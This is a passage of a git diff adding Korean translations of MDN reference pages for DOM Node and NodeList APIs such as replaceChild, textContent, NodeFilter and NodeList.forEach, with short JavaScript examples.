+<pre class="syntaxbox"><em>element</em>.normalize();
+</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush:js">var wrapper = document.createElement("div");
+
+wrapper.appendChild( document.createTextNode("Part 1 ") );
+wrapper.appendChild( document.createTextNode("Part 2 ") );
+
+// 이 때, wrapper.childNodes.length === 2
+// wrapper.childNodes[0].textContent === "Part 1 "
+// wrapper.childNodes[1].textContent === "Part 2 "
+
+wrapper.normalize();
+
+// 이제, wrapper.childNodes.length === 1
+// wrapper.childNodes[0].textContent === "Part 1 Part 2 "</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-normalize">DOM Level 2 Core: Node.normalize</a></li>
+</ul>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Node.normalize")}}</p>
+
+<h2 id="See_also" name="See_also">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Text/splitText" title="DOM/Text.splitText"><code>Text.splitText</code></a></li>
+</ul>
diff --git a/files/ko/web/api/node/ownerdocument/index.html b/files/ko/web/api/node/ownerdocument/index.html
new file mode 100644
index 0000000000..b3aced6728
--- /dev/null
+++ b/files/ko/web/api/node/ownerdocument/index.html
@@ -0,0 +1,63 @@
+---
+title: Node.ownerDocument
+slug: Web/API/Node/ownerDocument
+translation_of: Web/API/Node/ownerDocument
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Node.ownerDocument</strong></code> 읽기 전용 속성은 이 node 의 최상위 document 객체를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>document</var> = <var>element</var>.ownerDocument
+</pre>
+
+<ul>
+ <li><code>document</code> 는 element 의 부모 <a href="/en-US/docs/DOM/document"><code>document</code></a> 객체입니다.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush:js">// given a node "p", get the top-level HTML child
+// of the document object
+
+var d = p.ownerDocument;
+var html = d.documentElement;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>이 속성에 의해 반환된<code>document</code> 객체는 실제 HTML 문서의 모든 child 노드들이 생성되는 메인 객체입니다. 이 속성이 document 그 자체 노드에서 사용될 경우, 결과는 <code>null</code> 이 됩니다. </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM4", "#dom-node-ownerdocument", "Node.ownerDocument")}}</td>
+ <td>{{Spec2("DOM4")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM3 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}</td>
+ <td>{{Spec2("DOM3 Core")}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("DOM2 Core", "core.html#node-ownerDoc", "Node.ownerDocument")}}</td>
+ <td>{{Spec2("DOM2 Core")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Node.ownerDocument")}}</p>
diff --git a/files/ko/web/api/node/previoussibling/index.html b/files/ko/web/api/node/previoussibling/index.html
new file mode 100644
index 0000000000..642b896748
--- /dev/null
+++ b/files/ko/web/api/node/previoussibling/index.html
@@ -0,0 +1,42 @@
+---
+title: Node.previousSibling
+slug: Web/API/Node/previousSibling
+translation_of: Web/API/Node/previousSibling
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p><code><strong>Node.previousSibling</strong>은 읽기전용 속성이며 현재 호출하는 노드가 속해 있는 부모의 </code>{{domxref("Node.childNodes", "childNodes")}}<code> 목록에서 특정 자식 노드를 리턴하거나 </code>childNodes <code>목록의 첫번째 노드일 경우 Null값을 리턴합니다.</code></p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>previousNode</var> = <em>node</em>.previousSibling;
+</pre>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">// &lt;a&gt;&lt;b1 id="b1"/&gt;&lt;b2 id="b2"/&gt;&lt;/a&gt;
+
+alert(document.getElementById("b1").previousSibling); // null
+alert(document.getElementById("b2").previousSibling.id); // "b1"
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p></p><p>Gecko 기반 브라우저는 소스 마크업에서 공백을 나타내기 위해 문서 내에 텍스트 노드를 삽입합니다.
+ 그러므로 예를 들어 <a href="/ko/docs/Web/API/Node/firstChild" title="트리에서 노드의 첫 번째 자식이나 null(노드가 자식이 없으면)을 반환합니다."><code>Node.firstChild</code></a>나 <a href="/ko/docs/Web/API/Node/previousSibling" title="Node.previousSibling은 읽기전용 속성이며 현재 호출하는 노드가 속해 있는 부모의 childNodes 목록에서 특정 자식 노드를 리턴하거나 childNodes 목록의 첫번째 노드일 경우 Null값을 리턴합니다."><code>Node.previousSibling</code></a>을 통해서 얻은 노드는 작성자가 얻으려 한 실제 요소와는
+ 달리 공백 텍스트 노드를 참조할 지도 모릅니다. </p>
+
+ <p>더 많은 정보는 <a class="new" href="/ko/docs/Whitespace_in_the_DOM" rel="nofollow">Whitespace in the DOM</a>과
+ <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Why are some Text nodes empty?</a>를 보세요.</p><p></p>
+
+<p>To navigate the opposite way through the child nodes list use <a href="/en-US/docs/Web/API/Node.nextSibling" title="DOM/Node.nextSibling">Node.nextSibling</a>.</p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-previousSibling">DOM Level 1 Core: previousSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-640FB3C8">DOM Level 2 Core: previousSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-640FB3C8">DOM Level 3 Core: previousSibling</a></li>
+</ul>
diff --git a/files/ko/web/api/node/replacechild/index.html b/files/ko/web/api/node/replacechild/index.html
new file mode 100644
index 0000000000..b058cc4c99
--- /dev/null
+++ b/files/ko/web/api/node/replacechild/index.html
@@ -0,0 +1,71 @@
+---
+title: Node.replaceChild()
+slug: Web/API/Node/replaceChild
+tags:
+ - 노드 교체
+ - 돔 조작
+ - 자바스크립트
+translation_of: Web/API/Node/replaceChild
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p><strong><code>Node.replaceChild()</code></strong> 메소드는 특정 부모 노드의 한 자식 노드를  다른 노드로 교체합니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>replacedNode</em> = <em>parentNode</em>.replaceChild(<em>newChild</em>, <em>oldChild</em>);
+</pre>
+
+<ul>
+ <li><code>newChild는 oldChild를 교체할 새로운 노드입니다. 만약 이미 </code>DOM<code> 안에 존재한다면 가장 먼저 제거됩니다.</code></li>
+ <li><code>oldChild는 이미 존재하는, 교체될 자식 노드입니다.</code></li>
+ <li><code>replacedNode는 교체된 노드입니다. oldChild와 동일한 노드입니다.</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">// &lt;div&gt;
+// &lt;span id="childSpan"&gt;foo bar&lt;/span&gt;
+// &lt;/div&gt;
+
+// 텅빈 요소 노드를 하나 생성합니다.
+// ID도, 속성도, 컨텐츠도 없습니다.
+var sp1 = document.createElement("span");
+
+// 'newSpan'이란 id 속성을 부여합니다.
+sp1.id = "newSpan";
+
+// 새로운 요소를 위한 컨텐츠를 생성합니다.
+var sp1_content = document.createTextNode("new replacement span element.");
+
+// 컨텐츠를 생성한 요소에 붙입니다.
+sp1.appendChild(sp1_content);
+
+// DOM에 존재하던, 교체되야할 노드를 참조합니다.
+var sp2 = document.getElementById("childSpan");
+var parentDiv = sp2.parentNode;
+
+// 이미 존재하던 sp2 노드를 새로운 span 요소인 sp1으로 교체합니다.
+parentDiv.replaceChild(sp1, sp2);
+
+// 결과:
+// &lt;div&gt;
+// &lt;span id="newSpan"&gt;new replacement span element.&lt;/span&gt;
+// &lt;/div&gt;
+</pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-replaceChild">DOM Level 1 Core: replaceChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-785887307">DOM Level 2 Core: replaceChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-785887307">DOM Level 3 Core: replaceChild</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/textcontent/index.html b/files/ko/web/api/node/textcontent/index.html
new file mode 100644
index 0000000000..f9b1798a96
--- /dev/null
+++ b/files/ko/web/api/node/textcontent/index.html
@@ -0,0 +1,111 @@
+---
+title: Node.textContent
+slug: Web/API/Node/textContent
+tags:
+ - API
+ - DOM
+ - Node
+ - Property
+ - Reference
+translation_of: Web/API/Node/textContent
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Node")}} 인터페이스의 <code><strong>textContent</strong></code> 속성은 노드와 그 자손의 텍스트 콘텐츠를 표현합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>textContent</code>와 {{domxref("HTMLElement.innerText")}}가 자주 혼동되곤 하지만, 두 속성에는 {{anch("innerText와의 차이점", "몇 가지 중요한 차이점")}}이 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">let <var>text</var> = <var>someNode</var>.textContent
+<var>someOtherNode</var>.textContent = <var>string</var></pre>
+
+<h3 id="값">값</h3>
+
+<p>문자열 또는 {{jsxref("null")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>textContent</code>의 값은 상황에 따라 다릅니다.</p>
+
+<ul>
+ <li>노드가 {{domxref("document")}} 또는 {{glossary("Doctype")}}이면 {{jsxref("null")}}을 반환합니다.
+ <div class="note"><strong>참고:</strong> 전체 문서의 모든 텍스트와 CDATA 데이터를 얻으려면 <code><a href="/ko/docs/Web/API/Document/documentElement">document.documentElement</a>.textContent</code>를 사용하세요.</div>
+ </li>
+ <li>노드가 <a href="/ko/docs/Web/API/CDATASection">CDATA 구획</a>, 주석, <a href="/ko/docs/Web/API/ProcessingInstruction">처리 명령</a>, <a href="/ko/docs/Web/API/Text">텍스트 노드</a>면 노드 내의 텍스트, 즉 {{domxref("Node.nodeValue")}}를 반환합니다.</li>
+ <li>다른 노드 유형에 대해서는 주석과 처리 명령을 제외한 모든 자식 노드의 <code>textContent</code>를 병합한 결과를 반환합니다. 자식이 없는 경우 빈 문자열입니다.</li>
+</ul>
+
+<p>노드의 <code>textContent</code>를 설정하면, 노드의 모든 자식을 주어진 문자열로 이루어진 하나의 텍스트 노드로 대치합니다.</p>
+
+<h3 id="innerText와의_차이점"><code>innerText</code>와의 차이점</h3>
+
+<p>비록 <code>Node.textContent</code>와 {{domxref("HTMLElement.innerText")}}의 이름이 유사하긴 하지만, 중요한 차이가 있으므로 헷갈리지 마세요.</p>
+
+<ul>
+ <li><code>textContent</code>는 {{htmlelement("script")}}와 {{htmlelement("style")}} 요소를 포함한 모든 요소의 콘텐츠를 가져옵니다. 반면 <code>innerText</code>는 "사람이 읽을 수 있는" 요소만 처리합니다.</li>
+ <li><code>textContent</code>는 노드의 모든 요소를 반환합니다. 그에 비해 <code>innerText</code>는 스타일링을 고려하며, "숨겨진" 요소의 텍스트는 반환하지 않습니다.
+ <ul>
+ <li>또한, <code>innerText</code>의 CSS 고려로 인해, innerText 값을 읽으면 최신 계산값을 반영하기 위해 {{glossary("reflow", "리플로우")}}가 발생합니다. (리플로우 계산은 비싸므로 가능하면 피해야 합니다)</li>
+ </ul>
+ </li>
+ <li>Internet Explorer 기준, <code>innerText</code>를 수정하면 요소의 모든 자식 노드를 제거하고, 모든 자손 텍스트 노드를 영구히 파괴합니다. 이로 인해, 해당 텍스트 노드를 이후에 다른 노드는 물론 같은 노드에 삽입하는 것도 불가능합니다.</li>
+</ul>
+
+<h3 id="innerHTML과의_차이점"><code>innerHTML</code>과의 차이점</h3>
+
+<p>{{domxref("Element.innerHTML")}}는 이름 그대로 HTML을 반환합니다. 간혹 innerHTML을 사용해 요소의 텍스트를 가져오거나 쓰는 경우가 있지만, HTML로 분석할 필요가 없다는 점에서 <code>textContent</code>의 성능이 더 좋습니다.</p>
+
+<p>이에 더해, <code>textContent</code>는 <a href="/ko/docs/Glossary/Cross-site_scripting">XSS 공격</a>의 위험이 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음과 같은 HTML 조각에서...</p>
+
+<pre class="brush: html notranslate">&lt;div id="divA"&gt;This is &lt;span&gt;some&lt;/span&gt; text!&lt;/div&gt;</pre>
+
+<p><code>textContent</code>를 사용해 요소의 텍스트 콘텐츠를 가져오거나...</p>
+
+<pre class="brush: js notranslate">let text = document.getElementById('divA').textContent;
+// The text variable is now: 'This is some text!'</pre>
+
+<p>텍스트 내용을 설정할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">document.getElementById('divA').textContent = 'This text is different!';
+// The HTML for divA is now:
+// &lt;div id="divA"&gt;This text is different!&lt;/div&gt;
+</pre>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Node.textContent")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#dom-node-textcontent','Node.textContent')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.innerText")}}</li>
+ <li>{{domxref("Element.innerHTML")}}</li>
+</ul>
diff --git a/files/ko/web/api/nodefilter/index.html b/files/ko/web/api/nodefilter/index.html
new file mode 100644
index 0000000000..8e71d48db4
--- /dev/null
+++ b/files/ko/web/api/nodefilter/index.html
@@ -0,0 +1,115 @@
+---
+title: NodeFilter
+slug: Web/API/NodeFilter
+tags:
+ - API
+ - DOM
+ - Reference
+translation_of: Web/API/NodeFilter
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><code><strong>NodeFilter</strong></code> 인터페이스는 {{ domxref("NodeIterator") }}나 {{ domxref("TreeWalker") }}에서 노드를 거를 때 사용하는 객체를 나타냅니다.</span> <code>NodeFilter</code>는 DOM이나 노드 순회 방법은 알지 못하며, 주어진 필터에 대해 단일 노드를 평가하는 방법만 알 수 있습니다.</p>
+
+<div class="note">
+<p>The browser doesn't provide any object implementing this interface. It is the user who is expected to write one, tailoring the <code>acceptNode()</code> method to its needs, and using it with some {{domxref("TreeWalker")}} or {{domxref("NodeIterator")}} objects.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface neither implements, nor inherits, any properties.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface doesn't inherit any methods.</em></p>
+
+<dl>
+ <dt>{{domxref("NodeFilter.acceptNode()")}}</dt>
+ <dd>Returns an <code>unsigned short</code> that will be used to tell if a given {{domxref("Node")}} must be accepted or not by the {{ domxref("NodeIterator") }} or {{ domxref("TreeWalker") }} iteration algorithm. This method is expected to be written by the user of a <code>NodeFilter</code>. Possible return values are:
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Constant</td>
+ <td class="header">Description</td>
+ </tr>
+ <tr>
+ <td><code>FILTER_ACCEPT</code></td>
+ <td>Value returned by the {{ domxref("NodeFilter.acceptNode()") }} method when a node should be accepted.</td>
+ </tr>
+ <tr>
+ <td><code>FILTER_REJECT</code></td>
+ <td>Value to be returned by the {{ domxref("NodeFilter.acceptNode()") }} method when a node should be rejected. For {{ domxref("TreeWalker") }}, child nodes are also rejected. For {{ domxref("NodeIterator") }}, this flag is synonymous with FILTER_SKIP.</td>
+ </tr>
+ <tr>
+ <td><code>FILTER_SKIP</code></td>
+ <td>Value to be returned by {{ domxref("NodeFilter.acceptNode()") }} for nodes to be skipped by the {{ domxref("NodeIterator") }} or {{ domxref("TreeWalker") }} object. The children of skipped nodes are still considered. This is treated as "skip this node but not its children".</td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(
+ // Node to use as root
+ document.getElementById('someId'),
+
+ // Only consider nodes that are text nodes (nodeType 3)
+ NodeFilter.SHOW_TEXT,
+
+ // Object containing the function to use for the acceptNode method
+ // of the NodeFilter
+ { acceptNode: function(node) {
+ // Logic to determine whether to accept, reject or skip node
+ // In this case, only accept nodes that have content
+ // other than whitespace
+ if ( ! /^\s*$/.test(node.data) ) {
+ return NodeFilter.FILTER_ACCEPT;
+ }
+ }
+ },
+ false
+);
+
+// Show the content of every non-empty text node that is a child of root
+var node;
+
+while ((node = nodeIterator.nextNode())) {
+ alert(node.data);
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#interface-nodefilter', 'NodeFilter')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeFilter', 'NodeFilter')}}</td>
+ <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NodeFilter")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related interfaces: {{domxref("TreeWalker")}}, {{domxref("NodeIterator")}}.</li>
+</ul>
diff --git a/files/ko/web/api/nodelist/entries/index.html b/files/ko/web/api/nodelist/entries/index.html
new file mode 100644
index 0000000000..8e9387311c
--- /dev/null
+++ b/files/ko/web/api/nodelist/entries/index.html
@@ -0,0 +1,70 @@
+---
+title: NodeList.entries()
+slug: Web/API/NodeList/entries
+translation_of: Web/API/NodeList/entries
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>NodeList.entries()</strong></code> 메서드는 이 객체에 포함된 모든 key/value 쌍을 통과하는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 이 값(value)은 {{domxref("Node")}} 객체입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">list.entries();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("Iteration_protocols","iterator")}} 를 반환합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[12]">var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var entry of list.entries()) {
+ console.log(entry);
+}
+</pre>
+
+<p>결과는 다음과 같습니다:</p>
+
+<pre>Array [ 0, &lt;p&gt; ]
+Array [ 1, #text "hey" ]
+Array [ 2, &lt;span&gt; ]</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#interface-nodelist','entries() (as iterable&lt;Node&gt;)')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NodeList.entries")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/nodelist/foreach/index.html b/files/ko/web/api/nodelist/foreach/index.html
new file mode 100644
index 0000000000..b12325d134
--- /dev/null
+++ b/files/ko/web/api/nodelist/foreach/index.html
@@ -0,0 +1,118 @@
+---
+title: NodeList.prototype.forEach()
+slug: Web/API/NodeList/forEach
+translation_of: Web/API/NodeList/forEach
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>{{domxref("NodeList")}} 인터페이스의 <strong><code>forEach()</code></strong> 메서드는 리스트 내의 각각의 값 쌍에 대해 매개 변수에 지정된 콜백을 삽입 순서로 호출합니다.</p>
+
+<h2 id="문법Syntax">문법Syntax</h2>
+
+<pre class="syntaxbox"><em>NodeList.</em>forEach<em>(callback[, thisArg]);</em>
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각각의 요소에 대해 실행하는 함수로, 3개의 인수(arguments)를 갖습니다:
+ <dl>
+ <dt><em><code>currentValue</code></em></dt>
+ <dd>NodeList에서 처리중인 현재 요소(element)입니다.</dd>
+ <dt><code><em>currentIndex</em></code></dt>
+ <dd>NodeList에서 처리중인 현재 요소의 인덱스입니다.</dd>
+ <dt><em><code>listObj</code></em></dt>
+ <dd><code>forEach()</code> 가 적용되고 있는 NodeList 객체입니다. </dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code><code> {{Optional_inline}}</code></dt>
+ <dd><code>callback</code> 을 실행할 때 {{jsxref("this")}} 에 대입할 값입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref('undefined')}}.</p>
+
+<h2 id="Exceptions">Exceptions</h2>
+
+<p><em>None</em>.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[6]">var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+list.forEach(
+ function(currentValue, currentIndex, listObj) {
+ console.log(currentValue + ', ' + currentIndex + ', ' + this);
+ },
+ 'myThisArg'
+);</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<pre>[object HTMLParagraphElement], 0, myThisArg
+[object Text], 1, myThisArg
+[object HTMLSpanElement], 2, myThisArg</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>이 {{Glossary("Polyfill","polyfill")}} 은 <a href="https://caniuse.com/#search=es5">ES5</a> 를 지원하는 모든 브라우저에서 동작합니다:</p>
+
+<pre class="brush: js">if (window.NodeList &amp;&amp; !NodeList.prototype.forEach) {
+  NodeList.prototype.forEach = function (callback, thisArg) {
+ thisArg = thisArg || window;
+  for (var i = 0; i &lt; this.length; i++) {
+  callback.call(thisArg, this[i], i, this);
+  }
+ };
+}</pre>
+
+<p>또는</p>
+
+<pre class="brush: js">if (window.NodeList &amp;&amp; !NodeList.prototype.forEach) {
+  NodeList.prototype.forEach = Array.prototype.forEach;
+}</pre>
+
+<p>The above behavior is how many browsers actually implement NodeList.prototype.forEach (Chrome, for example).</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("WebIDL", "#es-forEach", "forEach")}}</td>
+ <td>{{Spec2("WebIDL")}}</td>
+ <td>Defines <code>forEach</code> on <code>iterable</code> declarations</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+
+
+<p>{{Compat("api.NodeList.forEach")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/nodelist/index.html b/files/ko/web/api/nodelist/index.html
new file mode 100644
index 0000000000..a0829a7eca
--- /dev/null
+++ b/files/ko/web/api/nodelist/index.html
@@ -0,0 +1,153 @@
+---
+title: NodeList
+slug: Web/API/NodeList
+tags:
+ - DOM
+ - Interface
+translation_of: Web/API/NodeList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>NodeList</code> </strong>객체는 일반적으로 {{domxref("element.childNodes")}}와 같은 속성(property)과 {{domxref("document.querySelectorAll")}} 와 같은 메서드에 의해 반환되는  <a href="https://developer.mozilla.org/ko/docs/Glossary/Node/DOM">노드</a>의 콜렉션입니다.</p>
+
+<div class="note">
+<p><code>NodeList</code> 가 <code>Array</code> 는 아니지만, <code>forEach()</code> 를 사용하여 반복할 수 있습니다. 또한 {{jsxref("Array.from()")}} 을 사용하여 <code>Array</code> 로 변환 할 수도 있습니다.</p>
+
+<p>그러나 일부 오래된 브라우저는 아직<code>NodeList.forEach()</code> 또는 <code>Array.from()</code> 를 구현하지 않았습니다. 이것은 {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} 를 사용하여 회피할 수 있습니다. — 이 <a href="https://developer.mozilla.org/ko/docs/Web/API/NodeList$edit#Example">문서</a>의 예제를 참조하세요.</p>
+</div>
+
+<p>경우에 따라, <code>NodeList</code>는 라이브 콜렉션으로, DOM의 변경 사항을 실시간으로 콜렉션에 반영합니다. 예를 들어, {{domxref("Node.childNodes")}} 는 실시간입니다:</p>
+
+<pre class="brush: js notranslate">var parent = document.getElementById('parent');
+var child_nodes = parent.childNodes;
+console.log(child_nodes.length); // let's assume "2"
+parent.appendChild(document.createElement('div'));
+console.log(child_nodes.length); // should output "3"
+</pre>
+
+<p>다른 경우 <code>NodeList</code>는 정적 콜렉션입니다. DOM을 변경해도 콜렉션 내용에는 영향을 주지 않습니다. {{domxref("document.querySelectorAll()")}} 은 정적 <code>NodeList</code>를 반환합니다.</p>
+
+<p><code>NodeList</code>의 항목(items)을 순회(iterate)하거나, 특히 리스트의 길이를 캐시(cache)해야 할 때, 이 구분을 유지하는것이 좋습니다.</p>
+
+<h2 id="속성Properties">속성(Properties)</h2>
+
+<dl>
+ <dt>{{domxref("NodeList.length")}}</dt>
+ <dd><code>NodeList</code>의 노드의 개수를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드Methods">메서드(Methods)</h2>
+
+<dl>
+ <dt>{{domxref("NodeList.item()")}}</dt>
+ <dd>리스트 내 항목(item)의 인덱스를 반환하고, 인덱스가 범위 외의 경우일 땐 <code>null</code>을 반환합니다.</dd>
+ <dd><code>nodeList[idx]</code>의 대안으로 사용할 수 있습니다.(<code>i</code> 가범위를 벗어날 때(out-of-bounds) <code>undefined</code> 를 반환합니다.) 이것은 비 자바스크립트 언어 DOM 구현에 유용합니다.</dd>
+ <dt>{{domxref("NodeList.entries()")}}</dt>
+ <dd>{{jsxref("Iteration_protocols","iterator")}} 를 반환하여 코드가 콜렉션에 포함된 모든 키/값 쌍을 순회할 수 있도록 합니다. (이 경우 키는 0부터 시작하는 숫자이고, 값은 노드가 됩니다.)</dd>
+ <dt>{{domxref("NodeList.forEach()")}}</dt>
+ <dd><code>NodeList</code>의 요소(element)마다 한 번씩, 인자로 전달 받은 함수를 실행하여 요소를 인수(argument)로 함수에 전달합니다.</dd>
+ <dt>{{domxref("NodeList.keys()")}}</dt>
+ <dd>{{jsxref("Iteration_protocols", "iterator")}}를 반환하여 콜렉션에 포함된 키/값 쌍의 모든 키를 코드가 순회하도록 합니다. (이 경우 키는 0부터 시작하는 숫자입니다.)</dd>
+ <dt>{{domxref("NodeList.values()")}}</dt>
+ <dd>콜렉션에 포함된 키/값 쌍의 모든 값(nodes)을 코드가 순회할 수 있게 해주는 {{jsxref("Iteration_protocols", "iterator")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>for 루프를 사용하여 <code>NodeList</code>의 항목을 반복할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; myNodeList.length; ++i) {
+ var item = myNodeList[i]; // Calling myNodeList.item(i) isn't necessary in JavaScript
+}
+</pre>
+
+<p><strong>리스트의 항목(items)을 열거하기 위해 <a href="/en-US/docs/JavaScript/Reference/Statements/for...in" title="JavaScript/ Reference/Statements/for...in">for...in</a> 또는 <a href="/en-US/docs/JavaScript/Reference/Statements/for_each...in" title="JavaScript/ Reference/Statements/for each...in">for each...in</a>를 사용하지 않길 바랍니다.</strong> <code>NodeList</code>의 길이와 항목 속성까지 열거합니다. 또한 스크립트가 요소({{domxref("element")}}) 객체만 처리한다고 가정하면 오류가 발생할 수 있습니다. 게다가, <code>for..in</code>은 고정된 순서로 각 속성들을 접근한다는 보장이 없습니다.</p>
+
+<p><code><a href="/en-US/docs/JavaScript/Reference/Statements/for...of" title="/en-US/docs/JavaScript/Reference/Statements/for...of">for...of</a></code> 루프는 <code>NodeList</code> 객체를 올바르게 반복합니다.</p>
+
